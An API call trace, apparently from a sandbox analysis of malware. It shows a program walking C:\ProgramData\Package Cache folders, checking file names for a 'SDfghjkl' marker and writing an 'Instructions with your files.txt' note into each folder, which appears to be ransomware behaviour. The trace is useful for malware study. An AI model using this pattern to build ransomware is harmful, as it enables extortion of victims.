[0127.082] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0127.082] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0127.082] CloseHandle (hObject=0x114) returned 1
[0127.082] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0127.082] GetProcessHeap () returned 0x810000
[0127.082] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0127.082] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa938e870, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa938e870, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
[0127.082] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Instructions with your files.txt") returned 125
[0127.082] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0127.083] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0127.083] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0127.084] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0127.084] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0127.084] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0127.084] CloseHandle (hObject=0x110) returned 1
[0127.084] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0127.084] GetProcessHeap () returned 0x810000
[0127.084] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x878be8 | out: hHeap=0x810000) returned 1
[0127.084] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
[0127.084] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Instructions with your files.txt") returned 116
[0127.084] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.084] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.085] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.085] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.085] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.086] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.086] CloseHandle (hObject=0x10c) returned 1
[0127.086] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0127.089] GetProcessHeap () returned 0x810000
[0127.089] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0127.089] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1
[0127.089] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned 71
[0127.089] GetProcessHeap () returned 0x810000
[0127.089] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0127.089] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned 73
[0127.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0127.090] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\.") returned 73
[0127.091] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.091] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\..") returned 74
[0127.091] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0127.091] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned 81
[0127.091] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0127.091] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
[0127.091] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe") returned 89
[0127.091] StrStrIW (lpFirst="VC_redist.x64.exe", lpSrch="SDfghjkl") returned 0x0
[0127.091] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
[0127.091] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Instructions with your files.txt") returned 104
[0127.091] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.311] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.312] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.312] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.312] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.312] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.313] CloseHandle (hObject=0x10c) returned 1
[0127.313] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0127.313] GetProcessHeap () returned 0x810000
[0127.313] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0127.313] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1
[0127.313] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 71
[0127.313] GetProcessHeap () returned 0x810000
[0127.313] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0127.313] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned 73
[0127.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0127.316] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\.") returned 73
[0127.316] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.316] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\..") returned 74
[0127.316] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0127.316] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned 81
[0127.316] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0127.316] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
[0127.316] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\vcredist_x86.exe") returned 88
[0127.316] StrStrIW (lpFirst="vcredist_x86.exe", lpSrch="SDfghjkl") returned 0x0
[0127.316] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0
[0127.316] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Instructions with your files.txt") returned 104
[0127.316] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\Instructions with your files.txt" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0127.319] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0127.320] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0127.320] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0127.320] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0127.320] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0127.321] CloseHandle (hObject=0x10c) returned 1
[0127.321] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0127.321] GetProcessHeap () returned 0x810000
[0127.321] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x866bd8 | out: hHeap=0x810000) returned 1
[0127.321] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1
[0127.321] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned 71
[0127.321] GetProcessHeap () returned 0x810000
[0127.321] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x866bd8
[0127.321] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned 73
[0127.321] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0127.323] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\.") returned 73
[0127.323] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0127.323] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\..") returned 74
[0127.323] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93efac0, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6601040, ftLastWriteTime.dwHighDateTime=0x1d2fc28, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1
[0127.323] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\state.rsm") returned 81
[0127.323] StrStrIW (lpFirst="state.rsm", lpSrch="SDfghjkl") returned 0x0
[0127.323] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1
[0127.323] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe") returned 89
[0127.323] StrStrIW (lpFirst="VC_redist.x86.exe", lpSrch="SDfghjkl") returned 0x0
[0127.323] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93c9960, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xedfa2720, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0xbee30, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x86.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0
[0127.323] wnsprintfW (in: pszDest=0x866bd8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\Instructions with your files.txt") returned 104
